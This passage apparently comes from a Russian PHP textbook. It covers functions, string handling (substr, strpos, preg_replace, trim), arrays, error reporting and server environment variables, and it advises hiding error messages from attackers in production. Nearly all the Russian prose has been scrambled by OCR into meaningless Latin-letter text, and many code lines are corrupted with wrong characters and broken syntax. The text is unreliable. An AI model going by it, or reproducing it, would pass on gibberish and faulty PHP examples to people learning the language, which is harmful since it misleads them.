HesHayuTenbHo. Takas CUTYalnsi MOXET BO3HHKHYTH, €CIH B TEYEHHE CLEeHApPHs
dyHKIMS BBI3LIBAETCS TOABKO OJMH pas. Eciu takoit Kon Beimonusth 6e3 yHK-
UMK, TO HHTEPIIPETATOP MPOCTO MOCHAEAOBATE/IBHO AO/MKEH BHINONHATL BCE OnNe-
patopsl cueHapwsi. Ecnn ecth (yHKUMS, TO WHTEPNPETATOPY MPHXOIMTCS Nepe-
CKAaKWBaTh B Jpyroe Mecro cueHapus u oOpabarsisare ero, rocie 4Yero
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BO3BpAlLATECS HA MCXOMHYIO MO3HLMI M npomosmkars pabory. M3-3a JHLIHHX
MePexXoloB CKOPOCTh BBIMONHEHHA HE3HAYNTENHHO YMEHbINAETCH, HO, HECMOTPS
HA 3TH KPOXOTHEIE MOTepH, OAHOPA3OBBIMM BbI3oBAMH (YHKUMIL Jyqine He npe-
HebperaTh.

Ecimu dyHKUMS COCTOHT TONLKO W3 OJHOM CTPOUKM Koma, TO OHA TAKKE MOXKET
MPUBECTH K MOTEPAM B NPOM3BOAMTENBHOCTH. B 9TOM cnyyae WHTepnperarop co-
BepLIAET CKAYKK DA OMHOU CTPOYKH, KOrAa MOXHO Osuro 66l BHINONHUTL ee Ge3
NHITHUX MEepPexonos. !

Ho y dynkimii, coctosmmx U3 ONHON CTPOUKH, €CTh CBOE MpeumylecTso. Hx
MOXHO BOCTIPMHHMATH KaK KOHCTAHTB! Koaa. JlofycTuM, 4To y Bac B Nporpamme
B HECKOJIbKMX MECTAX NMPOMCXOANT BEIBOJ HA DKpAH OMpeAe/ieHHOrO 3HaYeHMsI,
YMHOXeHHOro Ha yueno 3, Takas GyHKIMS MOXET BEIIAAETH CAenylommum ob-
pasom:

function PrintMenu($number)

{

print ($number*3) ;

1

Bpone 661 onHa crpoyka, ¥ Her emsicna obopmusiTh ee B Buae dyHkuun. Ecan
Bbl obounucs 6es ¢dyHkumm w B 10 MecTax mporpaMmbsl NPOCTO HAMHCANH
print ($number+*3), TO MOXeTE CTOJKHYTLCH ¢ pobaemoit korcrauT. Tpencrass-
Te, YTO HANO M3MEHUTh Yncio 3 Ha 4. [L1si 57010 HYXXHO MEepecMOTPETh BECh Koll,
W HET TAPaHTHH, YTO Bbl HHYErO HE YIycTHTe.

Wrak, dyHximm HeoOXoIMMEl B TEX CydasiX, KOTAA HYXHO BBITOMHHTH CXOXMH
KoA Heckoasko pas. Jlywwe scero, ecad B (yHKUMIO NOMENIAeTCs HECKONLKO
cTpoyeK Kona. (PYHKIMI0O MOXHO HCIONB30BATh M ¢ OXHOCTPOMYHBIM KOIOM, HO,
rnaBHoe, He anoynoTpebsaTs ITUM M MOCTYNATh TAK, TOALKO €cNM Kol AefcTsn-
TEJIBHO MOXET U3MEHHTBCH 4Yepe3 ONpeleieHHOe BPEMA M BLINOIHAETCH CIHLI-
KOM MHOrO pas, 9ro0sl Npou3BOMMTL HIMeHeHUs: BpyuHyio. [loxymaiire, He ayd-
e AH WCMOAB3OBATL KOHCTAHTH (B TMPWBEICHHOM BHIIE TPUMEPE 4YMCI0 3
MOXHO 3aMEHHTh HA KOHCTAHTY).

[laBaiiTe pacCMOTPHM fIPUMEPHI ncmwbaauml pyukmai u obcynum npobaemsi,
KOTOpHIE MOTYT BO3HMKHYTb NpH aToM. Barnsanem Ha mueruur 2.12.

<HTML:>

<BODY>

<?php :
function print max($numberl, $number2)
{ :
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print ("$Snumberl > Smumber2 = ");

if ($numberl>Snumber2)
print (“txue <BR>");
else

print ("false <BR>");

print_max(10, 435);
print_max(3240, 2335);
print_max(sdf23, 45);
print_max(45) ;

>

</BODY>

<HTML>

B stom npumepe obbsiBneHa QyHKINA print_max (). Eil nepepaiores jasa napa-
MeTpa: $numberl W $number2. Ecnu nepssiii napamerp Gomblie BToporo, To

dyHKMA oToGpaXaeT HA IKpaHe true, HHAYE false.

Mocne obesBneHns hyHKOMH OHA Bhi3niBaeTcs 4 pasa ¢ pasnu4HBIMH TIapamer-
pamu. [asaiite nmocMoTpuM, Kakoil nomyyutcs peayastar. OH AeHCTBUTENLHO
WHTEpECeH, [OTOMY YTO B TPETHEM BLI3OBE OOWH M3 MAPAMETPOB CTPOKOBBLIN,
a B MOCNHEIHEM BMECTO [ABYX MapaMeTpoB Mepeaaercs TOMBKO OIMH:

435 > 10 = true

2335 » 3240 = false

45 > sdf23 = true

Warning: Missing argument 2 for print_max() in /var/www/html/1l/index.php
on line 10

45 > = false

C mepsbiMu JIByMs! CTPOYKAMH He BO3HMKAeT npobsieM, IoToMy 4TO B HHX mepe-
paiotest yuena. B Tperseit cTpouke BTopoii napamerp CTPOKOBBIH, MOTOMY 4TO,
NMOMMMO YHCEN, conepXuT emie ¥ cumsonbl. Uurepnperarop PHP npocro or6po-
CHII CHMBONIBI H OCTABHJI TOJIBKO YHC/Id, H CPABHEHHE MPOHUCXOAMIO MEXIY HUMH.
Bbl IO/DKHBE! 3HATE W MOHUMATH 3TY ocobeHHOCTh npeobpasoBaHHs THMOB, KOTO-
poe MPOUCXOAUT ABTOMATHYECKH.

Ecimi mepenath TONbKO ONMH MAPaMeTp, TO PE3YALTAaT OKAXeTcs HanGonee wHTe-
peciibiM, Ha skpaHe nogBWIOCh COODIEHWE O TOM, YTO OTCYTCTBYET BTopoli na-
pameTtp. Ho, HecmoTps Ha 310, npoBepka Obuna npousseneHa. Camoe crpaHHOe,
YTO pesynbTar okasaicsi false. Bropoil mapamerp OTCYTCTBYET, M IO 3aKOHaM
JIOTUKH MHTEPNpeTarop AOKeH ObUl MCIONB3OBATHL HYJEBOE 3HAYEHHE. A ecin
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cpaBHUTL yucno 45 u 0, To nepsoe Oyner Gonbilie, @ IHAYUT, PE3VALTAT JOKEH
Gbi1 OBITH paBeH true. Bel 1o/mkHB Beerna NOMHNTL 00 310l ocobeHHOCTH.

Ecnn dyHkumm nepenars qMurHue apryMeHTsi, To oHu Gymnyt orGpolueHsl. B jpaH-
HOM ciyyae MpefynpexacHue MNoMOXeT BaM ONpeAeNHTh HENpasWibHblil BhIZOB.
Bbl aomKHBI yOpars AMUIHKE NapaMeTpbl W BBISACHATH npHuyuuy omwubku. Boa-
MOXHO, 4TO HAPYLIEH TOPAIOK NepeiaYy napaMerpos.

[Mopsinox nepenagu oOvYeHb BAXKEH, BeAb CHeHYIOIME ABA Bbi3oBA (GYHKIHH
print_max() NaiyT pasHelil pe3yasTar.

print max(10, 20);
print_max(20, 10);

3neck mepenaioTca OAHHM W Te XK€ YMCHa, HO B TNEpBOM cliydae peaynbrar Gyaer
false (nepBsblif NapaMeTp MeHbIIE BTOPOTO), @ BO BTOPOM — true (Nepsblii na-
pametp Golbilie BTOPOTO).

‘ Mpumeyanue j

WexopHbiii koa wa nucturra 2,12 sbl moxeTte HaiiTv B dpaiine \Chapter2\functions1.php
Ha KOMNaKkT-fucKe, npunaraemom K kHure,

2.9. OcHoOBHble (hyHKLUN

B siasike PHP pocratouno MHoro yHKIMH, KOTOPBIE Bbl MOXETE HCIIO/IL30OHATE
npy HanucaHuk coBerBeHHbIX cueHapues. IMoapo6Ho obeyauTs uX Bee B Takoi
KHHTE MPOCTO HEBO3MOXHO, [ M HE HYXXHO, IOTOMY YTO 3T0 He crnpaBouHuk. Ho

pPaccMOTPETh OCHOBHBIE (DYHKIIMH, KOTOpEIE HaMm noHagobsaTcs B OymayueMm, npo-
CTO HeoOXONUMO,

DyHKuua subsir

OyeHb YacTo HAM HYXKHO MOJYYHTHL onpejieneHHslil yuyacrok crpoku. [Lnsi storo
ucnonbiyercs QYHKIMA substr():

string substr(string string, int start [, int length])

¥ s1oit pyHKIIMM TpH mapamMerpa:

O crpoka, MOACTPOKY KOTOpOl HEODXOMHMO NONYYUTh;

0 HOMED CHMBOJA, HAYHHAS ¢ KOTOPOTO HYXKHO BEPHYTH CHMBOJIBL;

O ueobsizarenbHbl. napaMerp, YKashBAIOWMNE HA KOMHYECTBO BO3Bpall[aeMbIX
CHMBOJIOB, HaYMHasA ¢ MO3UUMM BO BTOpoM napamerpe. Ecam ator napamerp
nycroid, To OyAyr BO3BpallleHbl BCe CHMBOMBI 0 KOHUA CTPOKM, HaYMHAs
C NO3KLIHHK start.
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Tpy yKasanuu TNOSHUMK CHMBOJNOB BBl AOMKHLI YUHTBIBATE, YTO CHMBONBI B
CTpOKE HyMEpyloTcs ¢ Hyisi. B xauecTse pesyisrara (yHKUMS substr () BEPHET
yKa3aHHBIi aaﬁop CHMBOJIOB. Paccuorpuu npumep (nuctuHr 2.13).

<?php

// Npusep 1

$Sub_string = substr("Hackish PHP", 8, 3);
print (§Sub_string) ;

print ("<br>");

// Tpuaep 2

$Sub_string = substr("Hackish PHP", 8);
print($Sub_string) ;

print("<br>");

// Npmsep 3

$Sub_string = substr("Hackish®, 0, 4);
print ($5ub_string); :
?> ‘

B nepBeiX ABYX mMpUMepax MBI 3anpammpaeM u3 crpoky "Hackish PHP" wacrs,
HaunHasi ¢ 8-ro cuMBosia. TOMBKO B TMEPBOM NMPHMEPE 3ANpPAIINBAIOTCS TPU CHM-
mna,ammxwmmwcmmmmymw ‘B pesynsrare Mbi o~
sIyqaeM OIHy M Ty Xe noperpoky — "PHP".

Bmﬂuumummmmmchmpemmaawuucﬂmmm oT
cnosa "Hackish" u B pesynsrate nonygaem enoso "Hack".

DyHKyna strien
DyHKuMs BO3BPAIAET MIMHY CTPOKH. B KayecTse napamerpa yKasbiBaeMm CTPOKY
WIH NEepeMeHHYI0, COAEPXKAIIYIO CTPOKY, @ HA BLIXOAE MOJyYaeM JUTHHY.

DyHkuusa strpos

Hepesnko BO3HMKAET HeoOXxoAMMOCTb pasobparh CTPOKY Ha cCOCTaBiAsoOUiMe WiIH
HaliTH B CTPOKE ONMpeNeneHHbIt CHMBOJI WJIH coveranue cumsonos. s aroro

ucnonbayercs GyHKUMS strops (), KOTOPOi NEPeAAIOTCs TPH napameTpa:
O crTpoka, B KOTOPOil HYXKHO MCKATH TIOACTPOKY;
0 noAcTpoKa, KOTOPYIO HANO HAWTH]
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0 noswuus, HaAYMHAS ¢ KOTOPOiH HYXHO HCKaTh (HeoGs3aTellbHbIH Mapamerp).
Eciin mapamerp He yKasaH, TO MOWCK MOACTPOKM OyHeT MpOM3BOAMTBLCH, HA-
YUHas C MEPBOrO0 CHMBOJMA CTPOKH.

Paccmotpum mpumep. [omyctum, uto HyXHO Haiith cioso "PHP" B crpoke

"Hackish PHP Pranks&Tricks". st 3T0ro Hanmuiem cieayiouyio cTpouKy:

$index = strpos("Hackish PHP Pranks&Tricks", "BHP");

Ecnu BRINONHUTE 3Ty KOMAHIy, TO B MepeMeHHOIl $index Gyner HAXONMTBCS “MC-

no 8, noromy yro "PHP" nanucavo 8 ykasaHHOi cTpoke, HauHHas ¢ 8-ro cuMBosa.

Yenoxuum 3anaqy. Jomyctim, 4To HYXHO pasbuTs ¢TPoKy Ha cnosa, [isi aroro

HyXxHo HaiiTu Bee npoGenni. Kak arto peanmsosars? CHauana HYXHO HalTH nep-

BBIH mpobe:

$index = strpos("Hackish PHP Pranks&Tricks", " ");

B pesynbtare BHIMONHEHMS 3TO CTPOKH Mbl MONYYMM B OepeMeHHON $index
gucno 7. Kak tenepb HaiiTH Bropoit npoBen? HyxHO NMOBTOPUTE NMOMECK, HO Mc-
KaTh yXe, HaYMHasA ¢ 8-ro cuMBona. Kon Gyzaer BRIIISLETH CienylomuM obpasom:

$index = strpos("Hackish PHP Pranks&Tricks", " ", Sindex+l);

Ha sror pas Mu yKazanu Tperuil nmapameTp, KOTOpbIH KaK pa3 M 3aaeT HaYywib-
HYIO MO3MUKIO NoMcKa. B KauecTse 3HaYeHUs MBI NEPENacM NEPEMEHHYIO §index
(oHa cosepXuT yHeso 7 nocle Moucka nmepporo npobesa), yBeaHueHHyio Ha 1.
TMpn paBore ¢ dynKumeit strpos() Bhl NOIKXHBI YIHTHIBATH, YTO €CAM TOACTPOKA
He HaitneHa, To pe3yabTatoM Gyner Hy/leBoe 3HAYEHHe.
Omubxn obpaboTku CTPOK — 3T0, HaBepHOe, Haubolee yacTbie OWMOKM Tpo-
TPaMMMCTOB, HE3aBHCHMO OT 53LIKA TIporpaMMupoBaHus, sl ceTeBbiX npwio-
KeHWit 3T owMOKH MOryr oKasaTeesi (aranbHLIMK, MOSTOMY PACCMOTPHM HpHU-
Mep, B KOTOPOM Bbl YBHIANTE HEKOTOpPhIE MpobieMEl, BOZHMKAIOIKE MpH pabore
¢ aToit hyHKuueH.
Hrak, ponycTum, YTO HaM HYXHO pazbute crpoky Ha cjosa. [lenaeMm 3T0 che-
ayiowuM obpasom:
<?php
Sstart = =1; y
Stext = "Hackish PHP Pranks&Tricks";
while ($start<>0)
{
$end = strpos($text, " ", $start+l);

if (Send==D)
sword = substr(Stext, $start+1l, strlen($text)-Sstart-1);
else

Sword = substr($text, S$start+l, Send-Sstart-1l);
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print{"Word: Sword; <BR>");
$start = Send;
1

2>

[ns Hayana coafaeM TMEPEMEHHYIO Sstart, rae Gyaem cOXpaHsTh WHAEKE Haii-
nenHoro cumsona. IMepementoil npucsansaem sHavyenne —1.

OcHoBa pa3bopa coBa — 3T0 UMK, B KOTOPOM Mbl MILEM ouepenHoil npoben u
nony4aem HalaenHoe caoso. [Nowck npobena HaunHaercs ¢ cMMBOJA $start+1.
Ha nepsom ware umkna aro Gymer 0, a Ha nocleAyIOMMX Luarax — CHMBOJ,
crosmmit 3a mpobenom. Homep cumBona npobena coxpaHseM B NepeMeHHOM
send. Ecnu pesynsrar paseH HyII0, TO KONMUPYeM BCE OCTABILHECS CHMBOJNBL 10
KOHLA orpoku MuHyc 1. Ecau pesynbTar moncka He HYJAeBoil, TO KOmHpyeM CHM-
BOJIbL OT MO3UIMK $start 10 NO3MLMM Send MUHYC 1.

[Moyemy MBI MpH KonupoBaHHKW oTHUMaeM 1?7 DTo AEHCTBUTENBHO BAXKHO MOHMK-
maTh. [eno B TOM, 9TO €C/IH HE OTHATh GAMHUILY, TO B PE3yJbTaT MONAieT He
TONBKO €/0BO, HO W npoben. Ecnu suiBecTw Takoe cnoo B HTML-crpannue u
npubasuts ewe npobest, TO Bel HHYEro HE 3aMETHTE, MOTOMY YTO ABOHHLIE MPO-
Genbl He BBIBOIATCS HA 3KpaH. MHOXeCTBeHHbIe Npobeshl coKpamawores A0 o~
Horo. Takum 06pasoM, Bel MOXeTe MpOIIsiAeTs npobiieMy, HO ecii oGpabaThiBars
nsoitHoil mpobeni B Kole, MOTyT BO3HHKHYTH cephesHbie HenpustHoctd. Hanpu-
Mep, ecn pasbuBaTh MO CIOBAM CIEAYIOULYIO CTPOKY: .
Hackish PHP  Pranks&Tricks

TO Pe3yNbTaT OKAKETCH HeOXKMIAHHBIM Ui Bac, MOTOMY YTO MEXAY CJOBaMH
CTOSIT MHOXECTBEHHbIE MPodesibl, H Bhl MONYYHTE CAHIIKOM MHOTO CNOB, TIpHYEM
HeKoTopsle BynyT nycTeIMK. DTy npobnemy yxe GyieT clloXXHee pelinuTh.

@yHKumA preg_replace
DyHKIMA preg_replace () OCYIIECTBAAET MOUCK H 3AMEHY B CTPOKE ¢ MOMOUIBIO
peryiaspHeiX BeipaxeHuil. Perynsiprbie BolpaxeHusi Mbl OyneMm pacecMarpuBaTh
B pasdene 3.6. DyHKIMS BBICSINT ceayiouum obpasom:
mixed preg_replace ( J :

mixed pattern,

mixed replacement,

mixed subject

{, int limit])
Kak sumure, vy GyHKIMM yeTBIpE NapamMeTpa, Nnepsbie TPU ABASIOTCs 0Bssarens-
HbiM#, PaceMoTpHM, YTO 3TO 34 MApAMETPLI:

0 pattern — peryispHoe BHIpAXeHHe, KOTOpOe YKA3LIBaeT HA TO, 4TO HYXHO
WCKAaTh;
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0O replacement — HalileHHOe BhIpaXeHne OyleT 3aMEHEeHO HA YKA3aHHOE B TOM
napameTpe sHadeHue,;

0 subject — CTPOKA, B KOTOPOH HYXHO MCKATh;

O limit — yKa3biBAET HA KOJNHYECTBO HANAEHHBLIX BRIPAXEHWH, KOTopbie HANO
3aMeHUTh.

Pesynsrarom seimonHeHus dyukuuu Gyner crpoka, B KOTOpoil Bce HaifaeHmbie
BLIPAXEHUSA 3aMEHEHBI HOBLIM 3HAYECHHEM.

Mbl noka He 3HAeM PEeryispHBIX BHIPAKEHHH W HE CMOXEM paceMoTperh UHTe-
PecHBIX MPHMEPOB, MO3ITOMY OIPaHHYMMCH 3ameHOM cnoBa. YTobbl 3aMeHHTH ie-
JIOE CJIOBO MITH TOCHENOBATENLHOCTE BYKB, HX HYXHO 3AKIOMHTH MEXIY CHMBO-
mamu "/" m B xoHue Hanucars Oyksy "i". Hanpumep, "/eaoso/i". B crenyiouem
npuMepe MBI MEHsieM B TeKcToBoil crpoke cioso "world" Ha "Sam" u sBbiBOmMM
€ro Ha aKpaH:

Stext= "Hello world from PHP"; :

Snewtext = preg_replace("/world/i", "Sam", Stext);

echo ($newtext);

@yHkums preg_replace() NOKA3AHA 34ech JUIA TOMO, YTOGBl BBl 3HANH O Cyme-
CTBOBAHMM Gonee MOWHLIX cpeacTs, OnucsiBaTy peryaspHbie BHpaXeHus ceituac
elle paHo, HO MpocTeilluuil nmpuMep noxasarth HYXHO, 4ToObl Mocieayloumit
pasrosop Obu1 GoJiee MOHATHBIM,

@yukuus trim

OYHKIMH Nepefaercs CTpoKa, 4 B KAYeCTBE pe3yIbraTa Mbl TMOJYYaeM Ty Xe
cTPOKy, Ho Ge3 MpoBesios B HAYaNe U B KoHue cTpokd. Hanpumep:

$text = trim(" Hackish PHP Pranks&Tricks  ");

B pesyasrare npobesios B HavYale W KoHue He Gyzer.

2.10. Maccusbi

Maccus — 3TO CIMHCOK 3HAYEHHM, JOCTYIT K KOTOPHIM MOXHO HONYYHTH ¢ MOMO-
B0 OHOMH TOJILKO nepemeHHoit. JoeTyn K anemeHTaM Maccusa obecrieyupaeTcsl
C MOMOMIBIO WHIACKCA, B KAYESCTBE KOTOPOrO MOXET BHICTYNATH CHOBO WK HYMCHO.
Ecsin 310 YNCJI0BOH HHIEKC, TO OH HYMEPYETCS ¢ HYJISL

Maccupbl MMEHYIOTCSI TAK XK€, KAK ¥ NepeMeHHbIe, HO TIOC)Ie MMEHH YKa3hiBajoT-
csi KBanparHsie ckobku. B cuenyloiiem npumepe B Maccus AobaBnsiores TpH
cnosa “ropt”, "xne6" u “mopkosb™:

$goods []= "ropr";

Sgoods ()= "wned";

$goods|]= “"mMoproBs":
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YroOBl BeIBECTH HA OSKPaH HYJNEBO JJIEMEHT, HANUIUIEM HMSA [EpeMEHHOI,
a B KBaIpaTHBIX CKOOKaX yKaxeM WHTepecyiolmii Hac snemMent. Hanpumep:

print("<P> $goods[0]");
B nanvoM npumepe BO Bpems 100aBieHUs! MEMEHTOB K MACCHBY MBI HUYEro He
YKa3bIBAIH B KBRIPATHBIX CKOGKAX, M03TOMY KUKAOMY HOBOMY JIEMEHTY NPHCBAK-

BAETCS| OYEPENHO HHIEKC, KOTOpLIi yBeuguBaeTcs Ha eanuuiy. Bo Bpems cosna-
HHSl MACCHBA Bbl MOXETE SIBHO YKA3aTh WHAEKC KaXKIOro anementa. Harpumep:

$goods [0]= "ropr™;

Sgoods[1]= "xne6";

Sgoods[2])= "MopxoBb";

Dror cnocob ynobiee, NOTOMY UTO Bbl KOHTPOAMPYETE WHIEKCHI, KOTOPhIE HC-
nonssyere. [pu 3ToM MOXHO OOBABIATH BJAEMEHTH B J06OM nopsuike i Heobsi-
3aTeIbHO MCMONB30BATH NOCAENOBATENBHO MAYIMe HHAeKkesl. Hanpumep:

$goods [3]= "ropr";

Sgoods [9]= "wreB";

Sgoods[2]= "moproBE";

TMocmoTpuM, YTO MONYHHTCH, €CIH NO0ABUTE HOBBIM JAEMEHT K 3TOMY MACCHBY
Oea ykasaHus WHIEKea, T. 8. cleayiomuM obpasom:

$goods(]= "xapropens";

DroMmy sneMeHTy OyeT NpHCBOEH MHAEKC, KOTOpbIi oKaxercs Ha 1 Gonblie mak-
CHMAIIBHOTO M3 CYIIECTBYIONMX, T. €. yucno 10,

B cneayoumem npumMepe MoKazaHo, KaK MOXHO CO31aBaTh MACCHBBL, B KOTOPBIX
B KayecTse MH/ICKCOB BBICTYNAIOT CHMBOJKL -

$goods ["ca"]= "mopr";

$goods ["b"]= "xe6";

$goods ["cr"]= "moproBm";

echo($goods("b"]) ;

Kak BHIMTE, PazHHLA MEXUILY YHCTOBbLIMM H CHMBONBHBIMYU MHIEKCAMU HEBEIIMKA.

Bonee MHTE/EKTYaNBHBI criocob CO3[AHHS MAcCCHBOB — MCTIONB3OBAHME DyHK-
nu array():

Sgoods = array{"'rcp'r", "xneG", "wmopxoBe");

B naHHOM citydae TepeMeHHas Maccusa BBINISANT TAK XKe, Kak u mobas apyras
nepemernas. Eil npucsauBaeTcss Maccus, CO3NAHHBIA dbyHKunei array(), y Ko-
Topoii B cKobGKax TMEPEYNCIICHBI EMEHTh MaccuBa. DTHUM a/eMeHTaM OyayT
NPHCBOEHBI HHACKCHL, HaYMHas ¢ 0 u 1o 2.

C nomoisio GYHKUMK array() MOXHO CO3aBaTh MACCHBE! H C CHMBOJBHBIMMI
uunexcamu. Harpumep: _

$goods = array("ca" => "ropr", "b" => "xneG", "(:r" = "garrot")
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CoorercTBie MHAEKCA HMEHH 3/eMEHTA MACCHBA HYXKHO TTHCATh CEHyIOMMUM
obpazoM!

"yHnexc" => "sHaueHwe"

Tax xak WHEEKCH B MaccuBe MOTYT MATH HE MO MOPAAKY, TO HaM Heobxommm
croco cosnaHMs LUMKNA, B KOTOPOM MOXHO NpPOCMOTpeTh Bee aneMenThl. [
3TOTO MpOLIE BCETO MCMONB30BaTh LMK foreach, KOTOPEIM MBI elle He oBCyKnaiu:
foreach (array as [$key => ] Svalue)

onepartop;

Ecnu ykaszaHa mepeMeHHas S$key (MMs nepeMeHHON MoxeT ObITh APYruM), To
B Tede LWHKAA Yepes 3Ty NMepeMeHHYI0 MOXHO TONYYHTh IOCTYN K MHAEKCY asie-
meHTa. Yepea nepeMeHHYI0 $value MOXHO MOJYYUTH JOCTYN K 3HAYEHUIO 3iie-
MEHTA MACCHBA.

PaccmoTpuM npumep, B KOTOPOM BBIBOASTCS HA 3KPaH 3HAYEHWs] WHIEKCOB
W 3HaMEHWsA BCeX JJIEMEHTOB MacCHBa:
foreach(Sgoods as $Ind => $§Val)

{

print("<P> index: $Ind <BR>value: $Val");

}

Hnst paboTsl ¢ MacCHBAMK B HallleM PACTIOPSDKEHHM JOCTATOYHO MHOTrO (pYHKUMIA,
HO MbI MOKa PacCMOTPHUM TOMBKO OIHY — count (), KaK Haubonee 4acTo MCMONb-
syemyi0. @yHKIMH count () B KAYecTse nmapaMeTpa HyXHO Mepeaars UMs MaccH-
Bd, 4 B KAYECTBE PE3Y/bTATa MBI MOJAYIUM KONMYECTBO 3NMEMEHTOB Maccusa, Ha-
npumep:

echo (count ($goods) ) ;

2.11. O6paborka owmnbok

Tlpn omnpeneneHHEIX HacTpoitkax coobuieHusi o6 olwmbKe MOXeT W He OblTh,
a B pEANbHBIX YCIOBUSX 51 PEKOMEHIYI0, yTobsl ero He Gwuto. JInmiHee coobilie-
HME IS XaKepa — 3TO NMOAAOpord Ha mytu K BanoMy. Hanmpumep, MHe Takoe co-
oblLIEHHe rOBOPUT O TOM, YTO CLEHAPHH HE ITPOBEPSIET KOMWYECTBO MAapaMeTpoB, a
3HAYMT, MOXET M HE MNpOBEPHTh NPAaBWIBHOCTE BHI3OBA (YHKUHM system.
O6 onacHoCTH NpUMEHEHNHs 3Toi (YHKUMM MBI eille IOrOBOPUM M He pas.

B TectupyeMoii cucteme Bee cOODILEHHA AODKHBI BRIBOAMTHCA HAa 3KpaH, MHaye

Ha srane pa3paboTKH Bbl HE Y3HAETE O MOTEHUHANLHOI owubke U TpyaHo Oyuer
TIOHATH, MOYEMY KO/ MporpaMMhl paboTaet He Tak, KaK Bbl MJIAHHPOBAIH.
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Yrober BrmounTe orobpaxenne owmnbok, B daiine php.ini #eobxoaumo HaiiTh
mapaMeTp error_reperting ¥ U3MEHWTHL €ro JHAMEHME HA E_ALL.

CoobleHns MOTYT MOABMATLCA U PR CPABHEHHMH uMcna co eTpokoit. Tak, ecru
B nipuMepe U3 pasdeaa 2.8, rae Mbl HamMcanH GYHKUMIO print_max (), A0GABMTH
B HAYAI0 CUEHAPUSA CEAYIONIYI0 KOMAHIY:

error_reporting(E_ALL);

U Terepb MOBTOPUTH BHIMOMHEHME CUEHAPUS, TO B PE3yiIbrare Bhl JOIDKHEI VBU-
IeTh OWHGKY NPH CPABHEHUN YHUCAA U CTPOKM:

Warning: Use of wundefined constamt sdf23 - assumed  5df23' in
Svar/www/html/1/functions 1.php on line 25

DyHKOMs error_reporting YCTAHABIWBAaeT ypoBeHb oToGpaxenwns omunbok. Ec-
JIM B KAYecTBE Mapamerpa yKasaTh E_ALL, To OyayT otobpaxarscs Bee Mpeaynpe-
XaeHus1 U coobenus. Yrobsl OTKIIOMUTE COOBIIEHNS B KOHKPETHOM CLEHAPHH,
HY)XHO HAMMcarh B HaYane C/eAyIoUyo CTPOKY:

error_reporting(E ALL - (E_NOTICE + E_WARNING));

Ecnu Tpebyercs uaMeHMTH YpoBeHs oTobpaxeHns omnboK s Becero cepsepa, To
CJIeNYeT OTPEAAKTHPOBATL OJXHOMMEHHbIE napamMeTp B (haiine php.ini. B srom xe
caiie MOXHO HAMTH BO3IMOXHBIE BADUAHTHI YPOBHEil.

Ewe pas xoudy ckasats, uro B paboraiolllell cucTeMe He HOMKHO BEITh HHKAKHUX
coobutenuit 06 ommbxax. Ecim npu tecrmposanun caiitos Ha Ge3onacHocTs s
OGHAPYKHBAN, YTO CHEHapUU GBUTM romsepxensl owmbke SQL In}ection (korna
XaKep MOXeT BBINONHATL Ha cepBepe SQL-~3anpocsl), To coobuerns o6 ommbrax
SHAYWTENILHO YNPOULAAN OTIPENeNieHHe CTPYKTYPhl 6a3bl AAHHbIX.

Ecu BBl HACTPOWIM CHCTEMY Ha oTobpaxeHne BeeX oWmboK, HO MpH TOM XOTH-
te, yrobsl onpeneneHHas (YHKIUsS He orobpaxana owmMbOK, Mnepel HMeHeMm
dyHKIMY  HeobXoAMMO IMOCTaBUTh. cuMBon €. Hanpumep, dyakums print()
B CITydMae HelWTaTHol cuTyaumu otobpasnut cooblleHue HA BKpaHe, HO eciiu Ha-
nucaTh @print (), To omwnbkKn He Gyner.

212, népenaqa AaHHbIX

Korna cuexapwmii samyckaercs Ha sumonsenue, uHtepnperarop PHP coamaer
MHOXECTBO nepeMeHHbIX. YacTh U3 HHMX colepXuT MHpOpPMAUMIO O cepsepe M
OKPYXEHWH, B KOTOpoM paboTaer cueHapuii, a 4acTb MOXET CONEPXATh JAHHBIE,
KOTOphIe nepenan KiienT yepea Web-crpanuily cueHapuio.

Sl He nymalo, 4TO MMeeT cMmbica yrnyGnsTees B crapuie sepenn PHP w obeyxars,
KaK OHY Tepefiaaii napameTpsl. Yrobut HaxomuTbes B 6E30NACHOCTH, BBI AOIDKHBL
YCTAHOBUTD y Ce0s camylo MOCHEAHION Bepeio uHTepnperatopa PHP, mostomy He
GyneM BCIOMHHATH CTAphie BOMOXKHOCTH, KOTOPBIE YKe He TIOMIEepXUBAIOTCS.
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2.12.1. NepemeHHble OKPYXeHNs

Bee napameTphl OKPYKEHMsI, KOTOpLIE NMEPefaloTes CHEHAPHIO, MOMEMIAIOTCS HH-
TEprpPeTaTopoM B MACCHB SHTTP_ENV_VARS. Ha pasHbIX KOMTbIOTEpax 310T Mac-
CHB BBISIIUT NO-pasHoMy. YTobel mpocMoTpeTs cBOM napamerpsl, mis Windows
B KOMAaHIHOM CTPOKE BHINOJHUTE KOMaHHy set, a Uit Unix-cucreM HyXKHO Bbi-
MOJHUTE KOMAHIY env.

Y PHP ects cnenyomme nepeMeHHbIE OKPYXCHWS, KOTOPBIE BAM MOTYT TIPHIO-
IUThCH:

0 $DOCUMENT_ROOT — NYTh K KATAJOTY Ha cepBepe, e PacronaraeTcs cleHapuii;
SSCRIPT_FILENAME — MYTh K HCnoiuseMoMy ¢aitny Ha cepsepe;
$SERVER_ADDR — [P-azpec cepsepa, Ha KOTOPOM 3allyiieH cueHapHii;
$SERVER_PORT — [IOPT CEPBEPA, K KOTOPOMY MOAKMIOYHICA KIMEHT Ul Bbl-
[TONHEHNS] 3arpoca;

$SERVER_NAME — HMS XOCTA cepsepa;

SSERVER_PROTOCOL — Bepe#si HTTP-nporokona;

SREMOTE_ADDR — [P-anpec kommnkioTepa, sanpocusumero gaii cueHapus;

SREMOTE_PORT — MOPT YAAMIEHHOTO KOMIBIOTEpd, € KOTOPBIM YCTAHOBICHO
COCAHHEHHE;

$REQUEST_METHOD — MeTOJ (GET WIH POST), C IOMOIUBIO KOoTOporo Obur 3a-
MpoLUeH CLUEHAPHIi;

0O sreguesT_URI — URL-nyrs K daitny 6e3 uMeHn JoOMEHA WIH aapeca cepsepa.
Hanpuwmep, ecan Gwin sanpomex anpec: http://192.168.1.1/admin/index.php,
TO B 9TOi nepemMenHoil 6yner Haxoputses /admin/index.php;

0 sQUERY_STRING — CTPOKa 3ampoca, KOTopas COUEpXKHT CIHCOK NapamMeTposB,
nepesaHHbix sanpocy. INapamerpsl pasneneHsl amnepcaniamm (&), a camu na-
paMeTpPbl HMEIOT BHI HassaHMe=SHAYEHUS,

00 SHTTP_HOST — HMJ cepBepd. JTOT NapaMeTp MOXeT CONepkKaTh TO e 3Haue-

HHWE, 4TO H SSERVER_NAME, & MOXET U OTJIMMATLCHA, EC/IH ¥ cepBepa HEeCKOALKO
HUMEH;

